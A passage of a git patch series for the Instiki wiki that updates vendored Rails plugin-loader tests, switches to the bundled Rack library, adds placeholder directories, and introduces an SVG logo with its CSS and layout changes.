||= "#{file} should include '#{data}'" + assert_generated_file(file) do |file| + assert_match(/#{Regexp.escape(data)}/,file, message) + end + end +end \ No newline at end of file diff --git a/vendor/rails/railties/test/initializer_test.rb b/vendor/rails/railties/test/initializer_test.rb index e09fd3d3..dad9e55e 100644 --- a/vendor/rails/railties/test/initializer_test.rb +++ b/vendor/rails/railties/test/initializer_test.rb @@ -209,7 +209,7 @@ uses_mocha "Initializer plugin loading tests" do def test_all_plugins_are_loaded_when_registered_plugin_list_is_untouched failure_tip = "It's likely someone has added a new plugin fixture without updating this list" load_plugins! - assert_plugins [:a, :acts_as_chunky_bacon, :gemlike, :plugin_with_no_lib_dir, :stubby], @initializer.loaded_plugins, failure_tip + assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @initializer.loaded_plugins, failure_tip end def test_all_plugins_loaded_when_all_is_used @@ -217,7 +217,7 @@ uses_mocha "Initializer plugin loading tests" do only_load_the_following_plugins! plugin_names load_plugins! failure_tip = "It's likely someone has added a new plugin fixture without updating this list" - assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :gemlike, :plugin_with_no_lib_dir], @initializer.loaded_plugins, failure_tip + assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :engine, :gemlike, :plugin_with_no_lib_dir], @initializer.loaded_plugins, failure_tip end def test_all_plugins_loaded_after_all @@ -225,7 +225,7 @@ uses_mocha "Initializer plugin loading tests" do only_load_the_following_plugins! plugin_names load_plugins! failure_tip = "It's likely someone has added a new plugin fixture without updating this list" - assert_plugins [:stubby, :a, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @initializer.loaded_plugins, failure_tip + assert_plugins [:stubby, :a, :engine, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @initializer.loaded_plugins, failure_tip end def test_plugin_names_may_be_strings @@ -252,6 +252,7 @@ uses_mocha "Initializer plugin loading tests" do assert $LOAD_PATH.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) end + private def load_plugins! @@ -291,12 +292,15 @@ uses_mocha 'i18n settings' do config = Rails::Configuration.new config.i18n.load_path << "my/other/locale.yml" + # To bring in AV's i18n load path. + require 'action_view' + Rails::Initializer.run(:initialize_i18n, config) assert_equal [ File.expand_path("./test/../../activesupport/lib/active_support/locale/en.yml"), File.expand_path("./test/../../actionpack/lib/action_view/locale/en.yml"), "my/test/locale.yml", - "my/other/locale.yml" ], I18n.load_path + "my/other/locale.yml" ], I18n.load_path.collect { |path| path =~ /^\./ ? File.expand_path(path) : path } end def test_setting_another_default_locale @@ -307,3 +311,13 @@ uses_mocha 'i18n settings' do end end end + +class RailsRootTest < Test::Unit::TestCase + def test_rails_dot_root_equals_rails_root + assert_equal RAILS_ROOT, Rails.root.to_s + end + + def test_rails_dot_root_should_be_a_pathname + assert_equal File.join(RAILS_ROOT, 'app', 'controllers'), Rails.root.join('app', 'controllers').to_s + end +end \ No newline at end of file diff --git a/vendor/rails/railties/test/plugin_loader_test.rb b/vendor/rails/railties/test/plugin_loader_test.rb index f429bae1..23b81ddb 100644 --- a/vendor/rails/railties/test/plugin_loader_test.rb +++ b/vendor/rails/railties/test/plugin_loader_test.rb @@ -1,5 +1,8 @@ require 'plugin_test_helper' +$:.unshift File.dirname(__FILE__) + "/../../actionpack/lib" +require 'action_controller' + # Mocks out the configuration module Rails def self.configuration @@ -7,136 +10,152 @@ module Rails end end -uses_mocha "Plugin Loader Tests" do +class TestPluginLoader < Test::Unit::TestCase + ORIGINAL_LOAD_PATH = $LOAD_PATH.dup - class TestPluginLoader < Test::Unit::TestCase - ORIGINAL_LOAD_PATH = $LOAD_PATH.dup + def setup + reset_load_path! - def setup - reset_load_path! + @configuration = Rails::Configuration.new + @configuration.plugin_paths << plugin_fixture_root_path + @initializer = Rails::Initializer.new(@configuration) + @valid_plugin_path = plugin_fixture_path('default/stubby') + @empty_plugin_path = plugin_fixture_path('default/empty') - @configuration = Rails::Configuration.new - @configuration.plugin_paths << plugin_fixture_root_path - @initializer = Rails::Initializer.new(@configuration) - @valid_plugin_path = plugin_fixture_path('default/stubby') - @empty_plugin_path = plugin_fixture_path('default/empty') + @failure_tip = "It's likely someone has added a new plugin fixture without updating this list" - @failure_tip = "It's likely someone has added a new plugin fixture without updating this list" - - @loader = Rails::Plugin::Loader.new(@initializer) - end - - def test_should_locate_plugins_by_asking_each_locator_specifed_in_configuration_for_its_plugins_result - locator_1 = stub(:plugins => [:a, :b, :c]) - locator_2 = stub(:plugins => [:d, :e, :f]) - locator_class_1 = stub(:new => locator_1) - locator_class_2 = stub(:new => locator_2) - @configuration.plugin_locators = [locator_class_1, locator_class_2] - assert_equal [:a, :b, :c, :d, :e, :f], @loader.send(:locate_plugins) - end - - def test_should_memoize_the_result_of_locate_plugins_as_all_plugins - plugin_list = [:a, :b, :c] - @loader.expects(:locate_plugins).once.returns(plugin_list) - assert_equal plugin_list, @loader.all_plugins - assert_equal plugin_list, @loader.all_plugins # ensuring that locate_plugins isn't called again - end - - def test_should_return_empty_array_if_configuration_plugins_is_empty - @configuration.plugins = [] - assert_equal [], @loader.plugins - end - - def test_should_find_all_availble_plugins_and_return_as_all_plugins - assert_plugins [:stubby, :plugin_with_no_lib_dir, :gemlike, :acts_as_chunky_bacon, :a], @loader.all_plugins.reverse, @failure_tip - end - - def test_should_return_all_plugins_as_plugins_when_registered_plugin_list_is_untouched - assert_plugins [:a, :acts_as_chunky_bacon, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip - end - - def test_should_return_all_plugins_as_plugins_when_registered_plugin_list_is_nil - @configuration.plugins = nil - assert_plugins [:a, :acts_as_chunky_bacon, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip - end - - def test_should_return_specific_plugins_named_in_config_plugins_array_if_set - plugin_names = [:acts_as_chunky_bacon, :stubby] - only_load_the_following_plugins! plugin_names - assert_plugins plugin_names, @loader.plugins - end - - def test_should_respect_the_order_of_plugins_given_in_configuration - plugin_names = [:stubby, :acts_as_chunky_bacon] - only_load_the_following_plugins! plugin_names - assert_plugins plugin_names, @loader.plugins - end - - def test_should_load_all_plugins_in_natural_order_when_all_is_used - only_load_the_following_plugins! [:all] - assert_plugins [:a, :acts_as_chunky_bacon, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip - end - - def test_should_load_specified_plugins_in_order_and_then_all_remaining_plugins_when_all_is_used - only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon, :all] - assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :gemlike, :plugin_with_no_lib_dir], @loader.plugins, @failure_tip - end - - def test_should_be_able_to_specify_loading_of_plugins_loaded_after_all - only_load_the_following_plugins! [:stubby, :all, :acts_as_chunky_bacon] - assert_plugins [:stubby, :a, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @loader.plugins, @failure_tip - end - - def test_should_accept_plugin_names_given_as_strings - only_load_the_following_plugins! ['stubby', 'acts_as_chunky_bacon', :a, :plugin_with_no_lib_dir] - assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :plugin_with_no_lib_dir], @loader.plugins, @failure_tip - end - - def test_should_add_plugin_load_paths_to_global_LOAD_PATH_array - only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon] - stubbed_application_lib_index_in_LOAD_PATHS = 4 - @loader.stubs(:application_lib_index).returns(stubbed_application_lib_index_in_LOAD_PATHS) - - @loader.add_plugin_load_paths - - assert $LOAD_PATH.index(File.join(plugin_fixture_path('default/stubby'), 'lib')) >= stubbed_application_lib_index_in_LOAD_PATHS - assert $LOAD_PATH.index(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) >= stubbed_application_lib_index_in_LOAD_PATHS - end - - def test_should_add_plugin_load_paths_to_Dependencies_load_paths - only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon] - - @loader.add_plugin_load_paths - - assert ActiveSupport::Dependencies.load_paths.include?(File.join(plugin_fixture_path('default/stubby'), 'lib')) - assert ActiveSupport::Dependencies.load_paths.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) - end - - def test_should_add_plugin_load_paths_to_Dependencies_load_once_paths - only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon] - - @loader.add_plugin_load_paths - - assert ActiveSupport::Dependencies.load_once_paths.include?(File.join(plugin_fixture_path('default/stubby'), 'lib')) - assert ActiveSupport::Dependencies.load_once_paths.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) - end - - def test_should_add_all_load_paths_from_a_plugin_to_LOAD_PATH_array - plugin_load_paths = ["a", "b"] - plugin = stub(:load_paths => plugin_load_paths) - @loader.stubs(:plugins).returns([plugin]) - - @loader.add_plugin_load_paths - - plugin_load_paths.each { |path| assert $LOAD_PATH.include?(path) } - end - - private - - def reset_load_path! - $LOAD_PATH.clear - ORIGINAL_LOAD_PATH.each { |path| $LOAD_PATH << path } - end + @loader = Rails::Plugin::Loader.new(@initializer) end -end + def test_should_locate_plugins_by_asking_each_locator_specifed_in_configuration_for_its_plugins_result + locator_1 = stub(:plugins => [:a, :b, :c]) + locator_2 = stub(:plugins => [:d, :e, :f]) + locator_class_1 = stub(:new => locator_1) + locator_class_2 = stub(:new => locator_2) + @configuration.plugin_locators = [locator_class_1, locator_class_2] + assert_equal [:a, :b, :c, :d, :e, :f], @loader.send(:locate_plugins) + end + + def test_should_memoize_the_result_of_locate_plugins_as_all_plugins + plugin_list = [:a, :b, :c] + @loader.expects(:locate_plugins).once.returns(plugin_list) + assert_equal plugin_list, @loader.all_plugins + assert_equal plugin_list, @loader.all_plugins # ensuring that locate_plugins isn't called again + end + + def test_should_return_empty_array_if_configuration_plugins_is_empty + @configuration.plugins = [] + assert_equal [], @loader.plugins + end + + def test_should_find_all_availble_plugins_and_return_as_all_plugins + assert_plugins [ :engine, :stubby, :plugin_with_no_lib_dir, :gemlike, :acts_as_chunky_bacon, :a], @loader.all_plugins.reverse, @failure_tip + end + + def test_should_return_all_plugins_as_plugins_when_registered_plugin_list_is_untouched + assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip + end + + def test_should_return_all_plugins_as_plugins_when_registered_plugin_list_is_nil + @configuration.plugins = nil + assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip + end + + def test_should_return_specific_plugins_named_in_config_plugins_array_if_set + plugin_names = [:acts_as_chunky_bacon, :stubby] + only_load_the_following_plugins! plugin_names + assert_plugins plugin_names, @loader.plugins + end + + def test_should_respect_the_order_of_plugins_given_in_configuration + plugin_names = [:stubby, :acts_as_chunky_bacon] + only_load_the_following_plugins! plugin_names + assert_plugins plugin_names, @loader.plugins + end + + def test_should_load_all_plugins_in_natural_order_when_all_is_used + only_load_the_following_plugins! [:all] + assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @loader.plugins, @failure_tip + end + + def test_should_load_specified_plugins_in_order_and_then_all_remaining_plugins_when_all_is_used + only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon, :all] + assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :engine, :gemlike, :plugin_with_no_lib_dir], @loader.plugins, @failure_tip + end + + def test_should_be_able_to_specify_loading_of_plugins_loaded_after_all + only_load_the_following_plugins! [:stubby, :all, :acts_as_chunky_bacon] + assert_plugins [:stubby, :a, :engine, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @loader.plugins, @failure_tip + end + + def test_should_accept_plugin_names_given_as_strings + only_load_the_following_plugins! ['stubby', 'acts_as_chunky_bacon', :a, :plugin_with_no_lib_dir] + assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :plugin_with_no_lib_dir], @loader.plugins, @failure_tip + end + + def test_should_add_plugin_load_paths_to_global_LOAD_PATH_array + only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon] + stubbed_application_lib_index_in_LOAD_PATHS = 4 + @loader.stubs(:application_lib_index).returns(stubbed_application_lib_index_in_LOAD_PATHS) + + @loader.add_plugin_load_paths + + assert $LOAD_PATH.index(File.join(plugin_fixture_path('default/stubby'), 'lib')) >= stubbed_application_lib_index_in_LOAD_PATHS + assert $LOAD_PATH.index(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) >= stubbed_application_lib_index_in_LOAD_PATHS + end + + def test_should_add_plugin_load_paths_to_Dependencies_load_paths + only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon] + + @loader.add_plugin_load_paths + + assert ActiveSupport::Dependencies.load_paths.include?(File.join(plugin_fixture_path('default/stubby'), 'lib')) + assert ActiveSupport::Dependencies.load_paths.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) + end + + def test_should_add_engine_load_paths_to_Dependencies_load_paths + only_load_the_following_plugins! [:engine] + + @loader.add_plugin_load_paths + + %w( models controllers helpers ).each do |app_part| + assert ActiveSupport::Dependencies.load_paths.include?( + File.join(plugin_fixture_path('engines/engine'), 'app', app_part) + ), "Couldn't find #{app_part} in load path" + end + end + + def test_engine_controllers_should_have_their_view_path_set_when_loaded + only_load_the_following_plugins!([ :engine ]) + + @loader.send :add_engine_view_paths + + assert_equal [ File.join(plugin_fixture_path('engines/engine'), 'app', 'views') ], ActionController::Base.view_paths + end + + def test_should_add_plugin_load_paths_to_Dependencies_load_once_paths + only_load_the_following_plugins! [:stubby, :acts_as_chunky_bacon] + + @loader.add_plugin_load_paths + + assert ActiveSupport::Dependencies.load_once_paths.include?(File.join(plugin_fixture_path('default/stubby'), 'lib')) + assert ActiveSupport::Dependencies.load_once_paths.include?(File.join(plugin_fixture_path('default/acts/acts_as_chunky_bacon'), 'lib')) + end + + def test_should_add_all_load_paths_from_a_plugin_to_LOAD_PATH_array + plugin_load_paths = ["a", "b"] + plugin = stub(:load_paths => plugin_load_paths) + @loader.stubs(:plugins).returns([plugin]) + + @loader.add_plugin_load_paths + + plugin_load_paths.each { |path| assert $LOAD_PATH.include?(path) } + end + + + private + def reset_load_path! + $LOAD_PATH.clear + ORIGINAL_LOAD_PATH.each { |path| $LOAD_PATH << path } + end +end \ No newline at end of file diff --git a/vendor/rails/railties/test/plugin_locator_test.rb b/vendor/rails/railties/test/plugin_locator_test.rb index 363fa27f..5a8c651e 100644 --- a/vendor/rails/railties/test/plugin_locator_test.rb +++ b/vendor/rails/railties/test/plugin_locator_test.rb @@ -47,7 +47,7 @@ uses_mocha "Plugin Locator Tests" do end def test_should_return_all_plugins_found_under_the_set_plugin_paths - assert_equal ["a", "acts_as_chunky_bacon", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort + assert_equal ["a", "acts_as_chunky_bacon", "engine", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort end def test_should_find_plugins_only_under_the_plugin_paths_set_in_configuration diff --git a/vendor/rails/railties/test/rails_info_controller_test.rb b/vendor/rails/railties/test/rails_info_controller_test.rb index e1872ebf..e274e1aa 100644 --- a/vendor/rails/railties/test/rails_info_controller_test.rb +++ b/vendor/rails/railties/test/rails_info_controller_test.rb @@ -25,7 +25,7 @@ ActionController::Routing::Routes.draw do |map| map.connect ':controller/:action/:id' end -class Rails::InfoControllerTest < Test::Unit::TestCase +class Rails::InfoControllerTest < ActionController::TestCase def setup @controller = Rails::InfoController.new @request = ActionController::TestRequest.new diff --git a/vendor/rails/railties/test/rails_info_test.rb b/vendor/rails/railties/test/rails_info_test.rb index 3e91e2f2..9befd44a 100644 --- a/vendor/rails/railties/test/rails_info_test.rb +++ b/vendor/rails/railties/test/rails_info_test.rb @@ -61,14 +61,14 @@ EOS assert_property 'Goodbye', 'World' end - def test_component_version + def test_framework_version assert_property 'Active Support version', ActiveSupport::VERSION::STRING end - def test_components_exist - Rails::Info.components.each do |component| - dir = File.dirname(__FILE__) + "/../../" + component.gsub('_', '') - assert File.directory?(dir), "#{component.classify} does not exist" + def test_frameworks_exist + Rails::Info.frameworks.each do |framework| + dir = File.dirname(__FILE__) + "/../../" + framework.gsub('_', '') + assert File.directory?(dir), "#{framework.classify} does not exist" end end diff --git a/vendor/rails/railties/test/secret_key_generation_test.rb b/vendor/rails/railties/test/secret_key_generation_test.rb index 7269f98c..2c7c3d5d 100644 --- a/vendor/rails/railties/test/secret_key_generation_test.rb +++ b/vendor/rails/railties/test/secret_key_generation_test.rb @@ -1,4 +1,4 @@ -require 'test/unit' +require 'abstract_unit' # Must set before requiring generator libs. if defined?(RAILS_ROOT) @@ -22,7 +22,7 @@ require 'rails_generator' require 'rails_generator/secret_key_generator' require 'rails_generator/generators/applications/app/app_generator' -class SecretKeyGenerationTest < Test::Unit::TestCase +class SecretKeyGenerationTest < ActiveSupport::TestCase SECRET_KEY_MIN_LENGTH = 128 APP_NAME = "foo" diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification new file mode 100644 index 00000000..70a36b9a --- /dev/null +++ b/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification @@ -0,0 +1,39 @@ +--- !ruby/object:Gem::Specification +name: dummy-gem-f +version: !ruby/object:Gem::Version + version: 1.3.0 +platform: ruby +authors: +- "Nobody" +date: 2008-10-03 00:00:00 -04:00 +dependencies: +- !ruby/object:Gem::Dependency + name: absolutely-no-such-gem + type: :runtime + version_requirement: + version_requirements: !ruby/object:Gem::Requirement + requirements: + - - ">=" + - !ruby/object:Gem::Version + version: 1.0.0 + version: +files: +- lib +- lib/dummy-gem-f.rb +require_paths: +- lib +required_ruby_version: !ruby/object:Gem::Requirement + requirements: + - - ">=" + - !ruby/object:Gem::Version + version: "0" + version: +required_rubygems_version: !ruby/object:Gem::Requirement + requirements: + - - ">=" + - !ruby/object:Gem::Version + version: "0" + version: +requirements: [] +specification_version: 2 +summary: Dummy Gem F diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb new file mode 100644 index 00000000..0271c8c4 --- /dev/null +++ b/vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb @@ -0,0 +1 @@ +DUMMY_GEM_F_VERSION="1.0.0" diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification b/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification new file mode 100644 index 00000000..5483048c --- /dev/null +++ b/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification @@ -0,0 +1,39 @@ +--- !ruby/object:Gem::Specification +name: dummy-gem-g +version: !ruby/object:Gem::Version + version: 1.3.0 +platform: ruby +authors: +- "Nobody" +date: 2008-10-03 00:00:00 -04:00 +dependencies: +- !ruby/object:Gem::Dependency + name: dummy-gem-f + type: :development + version_requirement: + version_requirements: !ruby/object:Gem::Requirement + requirements: + - - ">=" + - !ruby/object:Gem::Version + version: 1.0.0 + version: +files: +- lib +- lib/dummy-gem-g.rb +require_paths: +- lib +required_ruby_version: !ruby/object:Gem::Requirement + requirements: + - - ">=" + - !ruby/object:Gem::Version + version: "0" + version: +required_rubygems_version: !ruby/object:Gem::Requirement + requirements: + - - ">=" + - !ruby/object:Gem::Version + version: "0" + version: +requirements: [] +specification_version: 2 +summary: Dummy Gem G diff --git a/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb b/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb new file mode 100644 index 00000000..8fc05658 --- /dev/null +++ b/vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb @@ -0,0 +1 @@ +DUMMY_GEM_G_VERSION="1.0.0" From b30002261af583b29da412ee82760ed73ebf35a8 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Wed, 4 Feb 2009 16:39:13 -0600 Subject: [PATCH 03/14] Use bundled Rack WEBrick in Rack doesn't respond to TERM signals. This is a problem (especially on MacOSX). Make sure we use our bundled version instead. --- config/environment.rb | 2 +- instiki | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/environment.rb b/config/environment.rb index 3c0c53da..ee81c00d 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -7,7 +7,7 @@ rexml_versions = ['', File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib/']. `ruby -r #{v + 'rexml/rexml'} -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} } $:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1 -$: << File.dirname(__FILE__) + '/../vendor/plugins/rack/lib' +$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rack/lib') require File.join(File.dirname(__FILE__), 'boot') require 'active_support/secure_random' diff --git a/instiki b/instiki index 757a8312..33688533 100755 --- a/instiki +++ b/instiki @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -$: << File.dirname(__FILE__) + '/vendor/plugins/rack/lib' +$:.unshift(File.dirname(__FILE__) + '/vendor/plugins/rack/lib') # Executable file for a gem # must be same as ./instiki.rb From f6f9ef6969fc288007582ea1585ca9540e755e32 Mon Sep 17 00:00:00 2001 From: parasew Date: Thu, 5 Feb 2009 01:37:48 +0100 Subject: [PATCH 04/14] added /tmp direcotry which got lost in the svn->git conversion. TODO: check for other possible missing dirs. --- tmp/.gitignore | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 tmp/.gitignore diff --git a/tmp/.gitignore b/tmp/.gitignore new file mode 100644 index 00000000..e69de29b From 5b258daef94a1e3c3060d329b0e8ae9043a78054 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Thu, 5 Feb 2009 03:02:31 -0600 Subject: [PATCH 05/14] Added empty directories because Git is stupid. --- app/apis/.gitignore | 0 cache/.gitignore | 0 components/.gitignore | 0 dump/fixtures/.gitignore | 0 lib/native/linux-x86/.gitignore | 0 storage/.gitignore | 0 test/mocks/development/.gitignore | 0 test/mocks/test/.gitignore | 0 tmp/cache/.gitignore | 0 tmp/pids/.gitignore | 0 tmp/sessions/.gitignore | 0 tmp/sockets/.gitignore | 0 webs/.gitignore | 0 13 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 app/apis/.gitignore create mode 100644 cache/.gitignore create mode 100644 components/.gitignore create mode 100644 dump/fixtures/.gitignore create mode 100644 lib/native/linux-x86/.gitignore create mode 100644 storage/.gitignore create mode 100644 test/mocks/development/.gitignore create mode 100644 test/mocks/test/.gitignore create mode 100644 tmp/cache/.gitignore create mode 100644 tmp/pids/.gitignore create mode 100644 tmp/sessions/.gitignore create mode 100644 tmp/sockets/.gitignore create mode 100644 webs/.gitignore diff --git a/app/apis/.gitignore b/app/apis/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/cache/.gitignore b/cache/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/components/.gitignore b/components/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/dump/fixtures/.gitignore b/dump/fixtures/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/lib/native/linux-x86/.gitignore b/lib/native/linux-x86/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/storage/.gitignore b/storage/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/test/mocks/development/.gitignore b/test/mocks/development/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/test/mocks/test/.gitignore b/test/mocks/test/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/tmp/cache/.gitignore b/tmp/cache/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/tmp/pids/.gitignore b/tmp/pids/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/tmp/sessions/.gitignore b/tmp/sessions/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/tmp/sockets/.gitignore b/tmp/sockets/.gitignore new file mode 100644 index 00000000..e69de29b diff --git a/webs/.gitignore b/webs/.gitignore new file mode 100644 index 00000000..e69de29b From 6b49228aad70c2ad8e1ada929bce5129626ca108 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Sun, 8 Feb 2009 03:17:20 -0600 Subject: [PATCH 06/14] Logo for Instiki Added an SVG logo for Instiki. --- app/views/layouts/default.rhtml | 9 +++++---- app/views/svg_logo.html.erb | 19 +++++++++++++++++++ public/images/green.png | Bin 0 -> 179 bytes public/stylesheets/instiki.css | 7 ++++++- 4 files changed, 30 insertions(+), 5 deletions(-) create mode 100644 app/views/svg_logo.html.erb create mode 100644 public/images/green.png diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 821a12f9..63a49647 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -39,14 +39,15 @@

    - <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> + <%= render(:file => 'svg_logo') %> + <%- if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) -%> <%= h(@web.name) + (@show_diff ? ' (changes)' : '') %> - <% elsif @web %> + <%- elsif @web -%> <%= @web.name %>
    <%= @title %> - <% else %> + <%- else -%> <%= @title %> - <% end %> + <%- end %>

    <%= render(:file => 'navigation') unless @web.nil? || @hide_navigation %> diff --git a/app/views/svg_logo.html.erb b/app/views/svg_logo.html.erb new file mode 100644 index 00000000..9c1dc26b --- /dev/null +++ b/app/views/svg_logo.html.erb @@ -0,0 +1,19 @@ + diff --git a/public/images/green.png b/public/images/green.png new file mode 100644 index 0000000000000000000000000000000000000000..26db21e1a69ffedb5db5bb9770f8e6a7eddfd2c4 GIT binary patch literal 179 zcmeAS@N?(olHy`uVBq!ia0vp^20(1W!2~3oKk6I(65hcO-X(i=}MX3z#MTrF& znaR%id1a|ZC8TDt0Fz`0C){;ju!FgOiisY81U&|n5nS3j3^P6 Date: Sun, 8 Feb 2009 03:45:38 -0600 Subject: [PATCH 07/14] Only Display the Logo in XHTML-capable Text-Filters Textile and RDoc users can't see the SVG anyway, so don't bother rendering it. --- app/views/layouts/default.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 63a49647..3464c723 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -39,7 +39,7 @@

    - <%= render(:file => 'svg_logo') %> + <%= render(:file => 'svg_logo') if @controller.xhtml_enabled? %> <%- if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) -%> <%= h(@web.name) + (@show_diff ? ' (changes)' : '') %> <%- elsif @web -%> From 1ad888597484a3bfc066bcf84268cec6b193ddf9 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Sun, 8 Feb 2009 10:27:08 -0600 Subject: [PATCH 08/14] Optimize SVG Thanks to Sam Ruby, SVG logo is half the size it was before. Also, use the "wrapper div" trick to make the logo work in older browsers. --- app/views/svg_logo.html.erb | 29 ++++++++++------------------- public/stylesheets/instiki.css | 2 ++ 2 files changed, 12 insertions(+), 19 deletions(-) diff --git a/app/views/svg_logo.html.erb b/app/views/svg_logo.html.erb index 9c1dc26b..ea489913 100644 --- a/app/views/svg_logo.html.erb +++ b/app/views/svg_logo.html.erb @@ -1,19 +1,10 @@ - + \ No newline at end of file diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index b7b4f7a9..5be36371 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -65,6 +65,8 @@ padding:0; #svg_logo { float:left; margin:.5em .25em 0 -.625em; +width:1.5em; +height:1.625em; } a.nav,a.nav:link,a.nav:visited { From dcab2f870e4aa0423ec1df37fc0feb87aa7b88a6 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Sun, 8 Feb 2009 19:36:44 -0600 Subject: [PATCH 09/14] Smoother Adobe Illustrator's path optimizer produces much smoother results than Sam's program (and it's WYSIWYG). --- app/views/svg_logo.html.erb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/app/views/svg_logo.html.erb b/app/views/svg_logo.html.erb index ea489913..012fd66f 100644 --- a/app/views/svg_logo.html.erb +++ b/app/views/svg_logo.html.erb @@ -1,10 +1,10 @@ -

